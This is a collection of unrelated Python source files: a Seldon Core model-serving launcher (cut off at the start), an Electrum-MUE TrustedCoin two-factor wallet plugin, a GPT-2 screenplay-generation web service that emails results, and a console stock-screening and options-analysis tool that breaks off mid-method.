log_level_num = getattr(logging, log_level_raw, None) if not isinstance(log_level_num, int): raise ValueError("Invalid log level: %s", log_level) logger.setLevel(log_level_num) # Set right level on access logs flask_logger = logging.getLogger("werkzeug") flask_logger.setLevel(log_level_num) if getenv_as_bool(FILTER_METRICS_ACCESS_LOGS_ENV_NAME, default=not debug_mode): flask_logger.addFilter(MetricsEndpointFilter()) gunicorn_logger = logging.getLogger("gunicorn.access") gunicorn_logger.addFilter(MetricsEndpointFilter()) logger.debug("Log level set to %s:%s", log_level, log_level_num) # set log level for the imported microservice type seldon_microservice.logger.setLevel(log_level_num) logging.getLogger().setLevel(log_level_num) for handler in logger.handlers: handler.setLevel(log_level_num) return logger def main(): LOG_FORMAT = ( "%(asctime)s - %(name)s:%(funcName)s:%(lineno)s - %(levelname)s: %(message)s" ) logging.basicConfig(level=logging.INFO, format=LOG_FORMAT) logger.info("Starting microservice.py:main") logger.info(f"Seldon Core version: {__version__}") sys.path.append(os.getcwd()) parser = argparse.ArgumentParser() parser.add_argument("interface_name", type=str, help="Name of the user interface.") parser.add_argument( "--service-type", type=str, choices=["MODEL", "ROUTER", "TRANSFORMER", "COMBINER", "OUTLIER_DETECTOR"], default="MODEL", ) parser.add_argument( "--persistence", nargs="?", default=0, const=1, type=int, help="deprecated argument ", ) parser.add_argument( "--parameters", type=str, default=os.environ.get(PARAMETERS_ENV_NAME, "[]") ) parser.add_argument( "--log-level", type=str, choices=["DEBUG", "INFO", "WARNING", "ERROR"], default=DEFAULT_LOG_LEVEL, help="Log level of the inference server.", ) parser.add_argument( "--debug", nargs="?", type=bool, default=getenv_as_bool(DEBUG_ENV, default=False), const=True, help="Enable debug mode.", ) parser.add_argument( "--tracing", nargs="?", default=int(os.environ.get("TRACING", "0")), const=1, type=int, ) # gunicorn settings, defaults are from # http://docs.gunicorn.org/en/stable/settings.html parser.add_argument( "--workers", type=int, default=int(os.environ.get("GUNICORN_WORKERS", "1")), help="Number of Gunicorn workers for handling requests.", ) parser.add_argument( "--threads", type=int, default=int(os.environ.get("GUNICORN_THREADS", "1")), help="Number of threads to run per Gunicorn worker.", ) parser.add_argument( "--max-requests", type=int, default=int(os.environ.get("GUNICORN_MAX_REQUESTS", "0")), help="Maximum number of requests gunicorn worker will process before restarting.", ) parser.add_argument( "--max-requests-jitter", type=int, default=int(os.environ.get("GUNICORN_MAX_REQUESTS_JITTER", "0")), help="Maximum random jitter to add to max-requests.", ) parser.add_argument( "--keepalive", type=int, default=int(os.environ.get("GUNICORN_KEEPALIVE", "2")), help="The number of seconds to wait for requests on a Keep-Alive connection.", ) parser.add_argument( "--single-threaded", type=int, default=int(os.environ.get("FLASK_SINGLE_THREADED", "0")), help="Force the Flask app to run single-threaded. Also applies to Gunicorn.", ) parser.add_argument( "--http-port", type=int, default=int(os.environ.get(HTTP_SERVICE_PORT_ENV_NAME, DEFAULT_HTTP_PORT)), help="Set http port of seldon service", ) parser.add_argument( "--grpc-port", type=int, default=int(os.environ.get(GRPC_SERVICE_PORT_ENV_NAME, DEFAULT_GRPC_PORT)), help="Set grpc port of seldon service", ) parser.add_argument( "--metrics-port", type=int, default=int( os.environ.get(METRICS_SERVICE_PORT_ENV_NAME, DEFAULT_METRICS_PORT) ), help="Set metrics port of seldon service", ) parser.add_argument( "--pidfile", type=str, default=None, help="A file path to use for the PID file" ) parser.add_argument( "--access-log", nargs="?", type=bool, default=getenv_as_bool(GUNICORN_ACCESS_LOG_ENV, default=False), const=True, help="Enable gunicorn access log.", ) parser.add_argument( "--grpc-threads", type=int, default=os.environ.get("GRPC_THREADS", default="1"), help="Number of GRPC threads per worker.", ) parser.add_argument( "--grpc-workers", type=int, default=os.environ.get("GRPC_WORKERS", default="1"), help="Number of GPRC workers.", ) args, remaining = parser.parse_known_args() if len(remaining) > 0: logger.error( f"Unknown args {remaining}. Note since 1.5.0 this CLI does not take API type (REST, GRPC)" ) sys.exit(-1) parameters = parse_parameters(json.loads(args.parameters)) setup_logger(args.log_level, args.debug) # set flask trace jaeger extra tags jaeger_extra_tags = list( filter( lambda x: (x != ""), [tag.strip() for tag in os.environ.get("JAEGER_EXTRA_TAGS", "").split(",")], ) ) logger.info("Parse JAEGER_EXTRA_TAGS %s", jaeger_extra_tags) annotations = load_annotations() logger.info("Annotations: %s", annotations) parts = args.interface_name.rsplit(".", 1) if len(parts) == 1: logger.info("Importing %s", args.interface_name) interface_file = importlib.import_module(args.interface_name) user_class = getattr(interface_file, args.interface_name) else: logger.info("Importing submodule %s", parts) interface_file = importlib.import_module(parts[0]) user_class = getattr(interface_file, parts[1]) if args.persistence: logger.error(f"Persistence: ignored, persistence is deprecated") user_object = user_class(**parameters) http_port = args.http_port grpc_port = args.grpc_port metrics_port = args.metrics_port seldon_metrics = SeldonMetrics(worker_id_func=os.getpid) # TODO why 2 ways to create metrics server # seldon_metrics = SeldonMetrics( # worker_id_func=lambda: threading.current_thread().name # ) if args.debug: # Start Flask debug server def rest_prediction_server(): app = seldon_microservice.get_rest_microservice(user_object, seldon_metrics) try: user_object.load() except (NotImplementedError, AttributeError): pass if args.tracing: logger.info("Tracing branch is active") from flask_opentracing import FlaskTracing tracer = setup_tracing(args.interface_name) logger.info("Set JAEGER_EXTRA_TAGS %s", jaeger_extra_tags) FlaskTracing(tracer, True, app, jaeger_extra_tags) # Timeout not supported in flask development server app.run( host="0.0.0.0", port=http_port, threaded=False if args.single_threaded else True, ) logger.info( "REST microservice running on port %i single-threaded=%s", http_port, args.single_threaded, ) server1_func = rest_prediction_server else: # Start production server def rest_prediction_server(): rest_timeout = DEFAULT_ANNOTATION_REST_TIMEOUT if ANNOTATION_REST_TIMEOUT in annotations: # Gunicorn timeout is in seconds so convert as annotation is in miliseconds rest_timeout = int(annotations[ANNOTATION_REST_TIMEOUT]) / 1000 # Converting timeout from float to int and set to 1 if is 0 rest_timeout = int(rest_timeout) or 1 options = { "bind": "%s:%s" % ("0.0.0.0", http_port), "accesslog": accesslog(args.access_log), "loglevel": args.log_level.lower(), "timeout": rest_timeout, "threads": threads(args.threads, args.single_threaded), "workers": args.workers, "max_requests": args.max_requests, "max_requests_jitter": args.max_requests_jitter, "post_worker_init": post_worker_init, "worker_exit": partial(worker_exit, seldon_metrics=seldon_metrics), "keepalive": args.keepalive, } logger.info(f"Gunicorn Config: {options}") if args.pidfile is not None: options["pidfile"] = args.pidfile app = seldon_microservice.get_rest_microservice(user_object, seldon_metrics) UserModelApplication( app, user_object, args.tracing, jaeger_extra_tags, args.interface_name, options=options, ).run() logger.info("REST gunicorn microservice running on port %i", http_port) server1_func = rest_prediction_server def _wait_forever(server): try: while True: time.sleep(60 * 60) except KeyboardInterrupt: server.stop(None) def _run_grpc_server(bind_address): """Start a server in a subprocess.""" logger.info(f"Starting new GRPC server with {args.grpc_threads}.") if args.tracing: from grpc_opentracing import open_tracing_server_interceptor logger.info("Adding tracer") tracer = setup_tracing(args.interface_name) interceptor = open_tracing_server_interceptor(tracer) else: interceptor = None server = seldon_microservice.get_grpc_server( user_object, seldon_metrics, annotations=annotations, trace_interceptor=interceptor, num_threads=args.grpc_threads, ) try: user_object.load() except (NotImplementedError, AttributeError): pass server.add_insecure_port(bind_address) server.start() _wait_forever(server) @contextlib.contextmanager def _reserve_grpc_port(): """Find and reserve a port for all subprocesses to use.""" sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) if sock.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT) != 1: raise RuntimeError("Failed to set SO_REUSEPORT.") sock.bind(("", grpc_port)) try: yield sock.getsockname()[1] finally: sock.close() def grpc_prediction_server(): with _reserve_grpc_port() as bind_port: bind_address = "0.0.0.0:{}".format(bind_port) logger.info( f"GRPC Server Binding to '%s' {bind_address} with {args.workers} processes" ) sys.stdout.flush() workers = [] for _ in range(args.grpc_workers): # NOTE: It is imperative that the worker subprocesses be forked before # any gRPC servers start up. See # https://github.com/grpc/grpc/issues/16001 for more details. worker = multiprocessing.Process( target=_run_grpc_server, args=(bind_address,) ) worker.start() workers.append(worker) for worker in workers: worker.join() server2_func = grpc_prediction_server def rest_metrics_server(): app = seldon_microservice.get_metrics_microservice(seldon_metrics) if args.debug: app.run(host="0.0.0.0", port=metrics_port) else: options = { "bind": "%s:%s" % ("0.0.0.0", metrics_port), "accesslog": accesslog(args.access_log), "loglevel": args.log_level.lower(), "timeout": 5000, "max_requests": args.max_requests, "max_requests_jitter": args.max_requests_jitter, "post_worker_init": post_worker_init, "keepalive": args.keepalive, } if args.pidfile is not None: options["pidfile"] = args.pidfile StandaloneApplication(app, options=options).run() logger.info("REST metrics microservice running on port %i", metrics_port) metrics_server_func = rest_metrics_server if hasattr(user_object, "custom_service") and callable( getattr(user_object, "custom_service") ): server3_func = user_object.custom_service else: server3_func = None logger.info("Starting servers") start_servers(server1_func, server2_func, server3_func, metrics_server_func) if __name__ == "__main__": main()
qt.py
#!/usr/bin/env python # # Electrum - Lightweight Bitcoin Client # Copyright (C) 2015 Thomas Voegtlin # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, merge, # publish, distribute, sublicense, and/or sell copies of the Software, # and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. from functools import partial import threading import sys import os from PyQt5.QtGui import QPixmap from PyQt5.QtCore import QObject, pyqtSignal from PyQt5.QtWidgets import (QTextEdit, QVBoxLayout, QLabel, QGridLayout, QHBoxLayout, QRadioButton, QCheckBox, QLineEdit) from electrum_mue.gui.qt.util import (read_QIcon, WindowModalDialog, WaitingDialog, OkButton, CancelButton, Buttons, icon_path, WWLabel, CloseButton) from electrum_mue.gui.qt.qrcodewidget import QRCodeWidget from electrum_mue.gui.qt.amountedit import AmountEdit from electrum_mue.gui.qt.main_window import StatusBarButton from electrum_mue.i18n import _ from electrum_mue.plugin import hook from electrum_mue.util import is_valid_email from electrum_mue.logging import Logger from .trustedcoin import TrustedCoinPlugin, server class TOS(QTextEdit): tos_signal = pyqtSignal() error_signal = pyqtSignal(object) class HandlerTwoFactor(QObject, Logger): def __init__(self, plugin, window): QObject.__init__(self) self.plugin = plugin self.window = window Logger.__init__(self) def prompt_user_for_otp(self, wallet, tx, on_success, on_failure): if not isinstance(wallet, self.plugin.wallet_class): return if wallet.can_sign_without_server(): return if not wallet.keystores['x3/'].get_tx_derivations(tx): self.logger.info("twofactor: xpub3 not needed") return window = self.window.top_level_window() auth_code = self.plugin.auth_dialog(window) WaitingDialog(parent=window, message=_('Waiting for TrustedCoin server to sign transaction...'), task=lambda: wallet.on_otp(tx, auth_code), on_success=lambda *args: on_success(tx), on_error=on_failure) class Plugin(TrustedCoinPlugin): def __init__(self, parent, config, name): super().__init__(parent, config, name) @hook def on_new_window(self, window): wallet = window.wallet if not isinstance(wallet, self.wallet_class): return wallet.handler_2fa = HandlerTwoFactor(self, window) if wallet.can_sign_without_server(): msg = ' '.join([ _('This wallet was restored from seed, and it contains two master private keys.'), _('Therefore, two-factor authentication is disabled.') ]) action = lambda: window.show_message(msg) else: action = partial(self.settings_dialog, window) button = StatusBarButton(QIcon(":icons/trustedcoin-status.png"), _("TrustedCoin"), action) window.statusBar().addPermanentWidget(button) self.start_request_thread(window.wallet) def auth_dialog(self, window): d = WindowModalDialog(window, _("Authorization")) vbox = QVBoxLayout(d) pw = AmountEdit(None, is_int = True) msg = _('Please enter your Google Authenticator code') vbox.addWidget(QLabel(msg)) grid = QGridLayout() grid.setSpacing(8) grid.addWidget(QLabel(_('Code')), 1, 0) grid.addWidget(pw, 1, 1) vbox.addLayout(grid) msg = _('If you have lost your second factor, you need to restore your wallet from seed in order to request a new code.') label = QLabel(msg) label.setWordWrap(1) vbox.addWidget(label) vbox.addLayout(Buttons(CancelButton(d), OkButton(d))) if not d.exec_(): return return pw.get_amount() def prompt_user_for_otp(self, wallet, tx, on_success, on_failure): wallet.handler_2fa.prompt_user_for_otp(wallet, tx, on_success, on_failure) def waiting_dialog_for_billing_info(self, window, *, on_finished=None): def task(): return self.request_billing_info(window.wallet, suppress_connection_error=False) def on_error(exc_info): e = exc_info[1] window.show_error("{header}\n{exc}\n\n{tor}" .format(header=_('Error getting TrustedCoin account info.'), exc=str(e), tor=_('If you keep experiencing network problems, try using a Tor proxy.'))) return WaitingDialog(parent=window, message=_('Requesting account info from TrustedCoin server...'), task=task, on_success=on_finished, on_error=on_error) @hook def abort_send(self, window): wallet = window.wallet if not isinstance(wallet, self.wallet_class): return if wallet.can_sign_without_server(): return if wallet.billing_info is None: self.waiting_dialog_for_billing_info(window) return True return False def settings_dialog(self, window): self.waiting_dialog_for_billing_info(window, on_finished=partial(self.show_settings_dialog, window)) def show_settings_dialog(self, window, success): if not success: window.show_message(_('Server not reachable.')) return wallet = window.wallet d = WindowModalDialog(window, _("TrustedCoin Information")) d.setMinimumSize(500, 200) vbox = QVBoxLayout(d) hbox = QHBoxLayout() logo = QLabel() logo.setPixmap(QPixmap(":icons/trustedcoin-status.png")) msg = _('This wallet is protected by TrustedCoin\'s two-factor authentication.') + '<br/>'\ + _("For more information, visit") + " <a href=\"https://api.trustedcoin.com/#/electrum-help\">https://api.trustedcoin.com/#/electrum-help</a>" label = QLabel(msg) label.setOpenExternalLinks(1) hbox.addStretch(10) hbox.addWidget(logo) hbox.addStretch(10) hbox.addWidget(label) hbox.addStretch(10) vbox.addLayout(hbox) vbox.addStretch(10) msg = _('TrustedCoin charges a small fee to co-sign transactions. The fee depends on how many prepaid transactions you buy. An extra output is added to your transaction every time you run out of prepaid transactions.') + '<br/>' label = QLabel(msg) label.setWordWrap(1) vbox.addWidget(label) vbox.addStretch(10) grid = QGridLayout() vbox.addLayout(grid) price_per_tx = wallet.price_per_tx n_prepay = wallet.num_prepay(self.config) i = 0 for k, v in sorted(price_per_tx.items()): if k == 1: continue grid.addWidget(QLabel("Pay every %d transactions:"%k), i, 0) grid.addWidget(QLabel(window.format_amount(v/k) + ' ' + window.base_unit() + "/tx"), i, 1) b = QRadioButton() b.setChecked(k == n_prepay) b.clicked.connect(lambda b, k=k: self.config.set_key('trustedcoin_prepay', k, True)) grid.addWidget(b, i, 2) i += 1 n = wallet.billing_info.get('tx_remaining', 0) grid.addWidget(QLabel(_("Your wallet has {} prepaid transactions.").format(n)), i, 0) vbox.addLayout(Buttons(CloseButton(d))) d.exec_() def go_online_dialog(self, wizard): msg = [ _("Your wallet file is: {}.").format(os.path.abspath(wizard.path)), _("You need to be online in order to complete the creation of " "your wallet. If you generated your seed on an offline " 'computer, click on "{}" to close this window, move your ' "wallet file to an online computer, and reopen it with " "Electrum-MUE.").format(_('Cancel')), _('If you are online, click on "{}" to continue.').format(_('Next')) ] msg = '\n\n'.join(msg) wizard.create_storage(wizard.path) wizard.stack = [] wizard.confirm_dialog(title='', message=msg, run_next = lambda x: wizard.run('accept_terms_of_use')) def accept_terms_of_use(self, window): vbox = QVBoxLayout() vbox.addWidget(QLabel(_("Terms of Service"))) tos_e = TOS() tos_e.setReadOnly(True) vbox.addWidget(tos_e) tos_received = False vbox.addWidget(QLabel(_("Please enter your e-mail address"))) email_e = QLineEdit() vbox.addWidget(email_e) next_button = window.next_button prior_button_text = next_button.text() next_button.setText(_('Accept')) def request_TOS(): try: tos = server.get_terms_of_service() except Exception as e: self.logger.exception('Could not retrieve Terms of Service') tos_e.error_signal.emit(_('Could not retrieve Terms of Service:') + '\n' + str(e)) return self.TOS = tos tos_e.tos_signal.emit() def on_result(): tos_e.setText(self.TOS) nonlocal tos_received tos_received = True set_enabled() def on_error(msg): window.show_error(str(msg)) window.terminate() def set_enabled(): next_button.setEnabled(tos_received and is_valid_email(email_e.text())) tos_e.tos_signal.connect(on_result) tos_e.error_signal.connect(on_error) t = threading.Thread(target=request_TOS) t.setDaemon(True) t.start() email_e.textChanged.connect(set_enabled) email_e.setFocus(True) window.exec_layout(vbox, next_enabled=False) next_button.setText(prior_button_text) email = str(email_e.text()) self.create_remote_key(email, window) def request_otp_dialog(self, window, short_id, otp_secret, xpub3): vbox = QVBoxLayout() if otp_secret is not None: uri = "otpauth://totp/%s?secret=%s"%('trustedcoin.com', otp_secret) l = QLabel("Please scan the following QR code in Google Authenticator. You may as well use the following key: %s"%otp_secret) l.setWordWrap(True) vbox.addWidget(l) qrw = QRCodeWidget(uri) vbox.addWidget(qrw, 1) msg = _('Then, enter your Google Authenticator code:') else: label = QLabel( "This wallet is already registered with TrustedCoin. " "To finalize wallet creation, please enter your Google Authenticator Code. " ) label.setWordWrap(1) vbox.addWidget(label) msg = _('Google Authenticator code:') hbox = QHBoxLayout() hbox.addWidget(WWLabel(msg)) pw = AmountEdit(None, is_int = True) pw.setFocus(True) pw.setMaximumWidth(50) hbox.addWidget(pw) vbox.addLayout(hbox) cb_lost = QCheckBox(_("I have lost my Google Authenticator account")) cb_lost.setToolTip(_("Check this box to request a new secret. You will need to retype your seed.")) vbox.addWidget(cb_lost) cb_lost.setVisible(otp_secret is None) def set_enabled(): b = True if cb_lost.isChecked() else len(pw.text()) == 6 window.next_button.setEnabled(b) pw.textChanged.connect(set_enabled) cb_lost.toggled.connect(set_enabled) window.exec_layout(vbox, next_enabled=False, raise_on_cancel=False) self.check_otp(window, short_id, otp_secret, xpub3, pw.get_amount(), cb_lost.isChecked())
generate_script.py
import csv import json import os from threading import Thread import falcon import jinja2 from commons.logger import set_up_logging from script_buddy.utils import load_model, generate, send_mail from config import SENDER_EMAIL_CREDENTIALS, ADMIN_EMAIL_CREDENTIALS logger = set_up_logging() class Success: def on_get(self, req, resp): html_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'templates/script/success.html') html_content = open(html_path, 'r').read() html_template = jinja2.Template(html_content) css_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'templates/script/script.css') css_content = open(css_path, 'r').read() resp.body = html_template.render(css_content=css_content) resp.status = falcon.HTTP_200 resp.content_type = falcon.MEDIA_HTML class StaticResource: def on_get(self, req, resp, file_name): img_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'static/%s' % file_name) with open(img_path, 'rb') as out: resp.body = out.read() resp.status = falcon.HTTP_200 resp.content_type = falcon.MEDIA_PNG class Script: def __init__(self): logger.info('Loading GPT2 model.................') self._model, self._tokenizer = load_model() logger.info('Model loaded') def generate_script(self, context, max_length): sample_script = generate(self._model, self._tokenizer, input_text=context, max_length=max_length) return sample_script def process_context(self, email, context, max_length, first_name, last_name): try: logger.info('Generating script') generated_script = self.generate_script(context, max_length) logger.info('Generated script: %s' % generated_script) logger.info('Sending email') generated_script = generated_script if generated_script else \ "Sorry, the script cannot be generated due to technical issues. Please retry again." mail_content = "Thanks for assisting us at Bookscribs.io to improve our algorithms and your user experience." \ "\n" \ "Please feel free to generate as many scripts as possible periodically to see how the system improves." \ "\n\n" \ "Your Story Submission:\n" + context \ + '\n\n' + \ 'At Bookscribs.io, our first goal is to generate a standardized ' \ 'screenplay structure, then iterate to produce amazing stories that will evolve into ' \ 'award-winning and highly successful film scripts. ' \ '\n\nBelow is the initial development of our vision.\n\n' \ 'Please note: Your generated screenplay will contain errors, laughable moments, ' \ 'weird characters, strange ideas; and, even diverse storylines unlike what you\'ve probably imagined. ' \ 'That\'s okay; with your help, we will improve radically.' \ '\n\n' + \ 'Your Generated Script:\n' + generated_script + \ '\n\n' + \ 'Thank you for your contribution to Bookscribs.io - Let\'s rewrite your stories for the movie screens!' send_mail(SENDER_EMAIL_CREDENTIALS['email_id'], SENDER_EMAIL_CREDENTIALS['password'], ADMIN_EMAIL_CREDENTIALS['email_id'], email, mail_content) logger.info('Email sent') logger.info('Writing data to csv') file = os.path.join(os.path.dirname(__file__), 'data/leads/leads.csv') Files().save_data_into_file(file, email, context, max_length, first_name, last_name, generated_script) logger.info('Data written to csv') except Exception as e: logger.error('Exception occurred while processing context in thread') logger.error(str(e)) def on_get(self, req, resp): html_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'templates/script/script.html') html_content = open(html_path, 'r').read() html_template = jinja2.Template(html_content) js_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'templates/script/script.js') js_content = open(js_path, 'r').read() css_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'templates/script/script.css') css_content = open(css_path, 'r').read() resp.body = html_template.render(js_content=js_content, css_content=css_content) resp.status = falcon.HTTP_200 resp.content_type = falcon.MEDIA_HTML def on_post(self, req, resp): logger.info('script generation invoked') try: data = req.params email = data.get('email', None) context = data.get('context', None) max_length = data.get('max_length', None) first_name = data.get('first_name', None) last_name = data.get('last_name', None) if not email or not context or not max_length or not first_name or not last_name: logger.error('Context or max length missing for script generation') resp.status = falcon.HTTP_412 return Thread(target=self.process_context, args=(email, context, int(max_length), first_name, last_name)).start() resp.body = json.dumps('Success') resp.content_type = falcon.MEDIA_JSON resp.status = falcon.HTTP_200 except Exception as e: logger.error('Exception occurred while generating script') logger.error(str(e)) resp.status = falcon.HTTP_500 class Files: def __init__(self): pass def save_data_into_file(self, file, email, context, max_length, first_name, last_name, generated_script): heading = ['First Name', 'Last Name', 'Email', 'Context', 'Max Length', 'Generated Script'] contents = [first_name, last_name, email, context, max_length, generated_script] self.write_contents_to_file(file, heading, contents) def write_contents_to_file(self, file, heading, contents): lines = self.create_file_if_not_exists(file, heading) with open(file, 'a') as writeFile: writer = csv.writer(writeFile) if lines is not None and len(lines) < 1: writer.writerow(heading) # for row in contents: writer.writerow(contents) def create_file_if_not_exists(self, file, heading): try: with open(file, 'r') as readFile: reader = csv.reader(readFile) lines = list(reader) return lines except FileNotFoundError: with open(file, 'a') as writeFile: writer = csv.writer(writeFile) writer.writerow(heading) return None if __name__ == '__main__': context = 'Untold words of a heart is a fictional romance. A lighthearted young boy Riyal sees Aadya for the first time in his educational consultancy while applying for masters in the same university as hers. He thought, It was all just the infatuation, but it was only after a few years Aadya came into his life and everything changed.' email = 'bbbalu47@gmail.com' script = Script().process_context(email, context, 250) print(script)
console_analysis.py
import os import time import threading import logging import matplotlib.pyplot as plt from pandas import DataFrame import strategies as s from strategies.strategy import Strategy from strategies.call import Call from strategies.put import Put from strategies.vertical import Vertical from screener.screener import Screener, Result, INIT_NAME from analysis.trend import SupportResistance from analysis.correlate import Correlate from data import store as store from utils import ui ui.get_logger(logging.WARNING, logfile='') BASEPATH = os.getcwd() + '/screener/screens/' SCREEN_SUFFIX = 'screen' COOR_CUTOFF = 0.85 LISTTOP = 10 LISTTOP_TREND = 5 LISTTOP_CORR = 3 class Interface: def __init__(self, table: str = '', screen: str = '', quick: bool = False, exit: bool = False): self.table = table.upper() self.screen_base = screen self.quick = quick self.exit = exit self.days = 1000 self.auto = False self.path_screen = '' self.results_screen: list[Result] = [] self.valids_screen: list[Result] = [] self.results_corr: list[tuple[str, DataFrame.Series]] = [] self.trend: SupportResistance = None self.screener: Screener = None self.correlate: Correlate = None self.strategy: Strategy = None self.task: threading.Thread = None abort = False if self.table: if self.table == 'ALL': pass elif store.is_exchange(self.table): pass elif store.is_index(self.table): pass elif store.is_ticker(self.table): pass else: self.table = '' abort = True ui.print_error('Exchange, index or ticker not found') if self.screen_base: if os.path.exists(BASEPATH+screen+'.'+SCREEN_SUFFIX): self.path_screen = BASEPATH + self.screen_base + '.' + SCREEN_SUFFIX else: ui.print_error(f'File "{self.screen_base}" not found') abort = True self.screen_base = '' if abort: pass elif self.table and self.path_screen: self.auto = True self.main_menu(selection=3) else: self.main_menu() def main_menu(self, selection: int = 0) -> None: while True: menu_items = { '1': 'Select Table or Ticker', '2': 'Select Screen', '3': 'Run Screen', '4': 'Show Top Screen Results', '5': 'Show All Screen Results', '6': 'Show Ticker Screen Summary', '7': 'Run Coorelation', '8': 'Run Support & Resistance Analysis', '9': 'Run Option Strategy', '0': 'Exit' } if self.table: menu_items['1'] += f' ({self.table})' if self.screen_base: menu_items['2'] += f' ({self.screen_base})' if len(self.results_screen) > 0: menu_items['5'] += f' ({len(self.valids_screen)})' menu_items['6'] += f' ({len(self.results_screen)})' if self.quick: menu_items['8'] += ' (quick)' if selection == 0: selection = ui.menu(menu_items, 'Select Operation', 0, len(menu_items)-1) if selection == 1: self.select_list() elif selection == 2: self.select_screen() elif selection == 3: if self.run_screen(): if len(self.valids_screen) > 0: self.show_valids(top=LISTTOP) elif selection == 4: self.show_valids(top=LISTTOP) elif selection == 5: self.show_valids() elif selection == 6: self.show_ticker_results() elif selection == 7: if self.run_coorelate(): self.show_coorelations() elif selection == 8: self.run_support_resistance() elif selection == 9: self.select_strategy() elif selection == 0: self.exit = True selection = 0 if self.exit: break def select_list(self) -> None: list = ui.input_alphanum('Enter exchange, index, or ticker: ').upper() if store.is_exchange(list): self.table = list elif store.is_index(list): self.table = list elif store.is_ticker(list): self.table = list else: self.table = '' self.screener = None ui.print_error(f'List {list} is not valid') def select_screen(self) -> None: self.script = [] self.results_screen = [] self.valids_screen = [] paths = [] with os.scandir(BASEPATH) as entries: for entry in entries: if entry.is_file(): head, sep, tail = entry.name.partition('.') if tail != SCREEN_SUFFIX: pass elif head == INIT_NAME: pass elif head == 'test': pass else: self.script += [entry.path] paths += [head] if paths: self.script.sort() paths.sort() menu_items = {} for index, item in enumerate(paths): menu_items[f'{index+1}'] = f'{item.title()}' menu_items['0'] = 'Cancel' selection = ui.menu(menu_items, 'Select Screen', 0, index+1) if selection > 0: self.screen_base = paths[selection-1] self.path_screen = BASEPATH + self.screen_base + '.' + SCREEN_SUFFIX self.results_screen = [] else: ui.print_message('No screener files found') def select_strategy(self) -> None: if len(self.valids_screen) > 0: menu_items = { '1': 'Call', '2': 'Put', '3': 'Vertical', '0': 'Cancel', } modified = True selection = ui.menu(menu_items, 'Select Strategy', 0, 3) if selection == 1: strategy = 'call' d = ui.input_integer('(1) Long, or (2) Short: ', 1, 2) direction = 'long' if d == 1 else 'short' elif selection == 2: strategy = 'put' d = ui.input_integer('(1) Long, or (2) Short: ', 1, 2) direction = 'long' if d == 1 else 'short' elif selection == 3: p = ui.input_integer('(1) Call, or (2) Put: ', 1, 2) strategy = 'vertc' if p == 1 else 'vertp' d = ui.input_integer('(1) Debit, or (2) Credit: ', 1, 2) direction = 'long' if d == 1 else 'short' else: modified = False if modified: self.run_options(strategy, direction) else: ui.print_error('No valid results to analyze') def run_screen(self) -> bool: success = False self.auto = False if not self.table: ui.print_error('No exchange, index, or ticker specified') elif not self.path_screen: ui.print_error('No screen specified') else: try: self.screener = Screener(self.table, screen=self.path_screen) except ValueError as e: ui.print_error(str(e)) else: self.results_screen = [] self.task = threading.Thread(target=self.screener.run_script) self.task.start() self.show_progress_screen() if self.screener.task_error == 'Done': self.results_screen = sorted(self.screener.results, reverse=True, key=lambda r: float(r)) self.valids_screen = [] for result in self.results_screen: if result: self.valids_screen += [result] ui.print_message(f'{len(self.valids_screen)} symbols identified in {self.screener.task_time:.1f} seconds') success = True return success def run_coorelate(self) -> bool: success = False if len(self.results_screen) == 0: ui.print_error('Please run screen before correlating') elif not store.is_list(self.table): ui.print_error('List is not valid') else: table = store.get_tickers(self.table) self.coorelate = Correlate(table) self.task = threading.Thread(target=self.coorelate.compute_correlation) self.task.start() print() self.show_progress_correlate() self.results_corr = [] tickers = [str(result) for result in self.results_screen if bool(result)][:LISTTOP] for ticker in tickers: df = self.coorelate.get_ticker_coorelation(ticker) self.results_corr += [(ticker, df.iloc[-1])] success = True return success def run_support_resistance(self, corr: bool = False) -> None: if len(self.valids_screen) > 0: if corr: tickers = [result[1]['ticker'] for result in self.results_corr if result[1]['value'] > COOR_CUTOFF][:LISTTOP_CORR] else: tickers = [str(result) for result in self.valids_screen[:LISTTOP_TREND]] ui.progress_bar(0, 0, prefix='Analyzing', reset=True) for ticker in tickers: if self.quick: self.trend = SupportResistance(ticker, days=self.days) else: methods = ['NSQUREDLOGN', 'NCUBED', 'HOUGHLINES', 'PROBHOUGH'] extmethods = ['NAIVE', 'NAIVECONSEC', 'NUMDIFF'] self.trend = SupportResistance(ticker, methods=methods, extmethods=extmethods, days=self.days) self.task = threading.Thread(target=self.trend.calculate) self.task.start() self.show_progress_analyze() figure = self.trend.plot() plt.figure(figure) if tickers: print() plt.show() else: ui.print_error('No valid results to analyze') def run_options(self, strategy: str, direction: str) -> None: if strategy not in s.STRATEGIES: raise ValueError('Invalid strategy') if direction not in s.DIRECTIONS: raise ValueError('Invalid direction') tickers = [str(result) for result in self.valids_screen[:LISTTOP_TREND]] results = [] print() ui.progress_bar(0, 0, prefix='Analyzing Options', reset=True) for ticker in tickers: name = '' if strategy == 'call': self.strategy = Call(ticker, 'call', direction, 1, 1, True) name = 'Call' elif strategy == 'put': self.strategy = Put(ticker, 'call', direction, 1, 1, True) name = 'Put' elif strategy == 'vertc': self.strategy = Vertical(ticker, 'call', direction, 1, 1, True) name = 'Vertical Call' elif strategy == 'vertp': self.strategy = Vertical(ticker, 'put', direction, 1, 1, True) name = 'Vertical Put' self.task = threading.Thread(target=self.strategy.analyze) 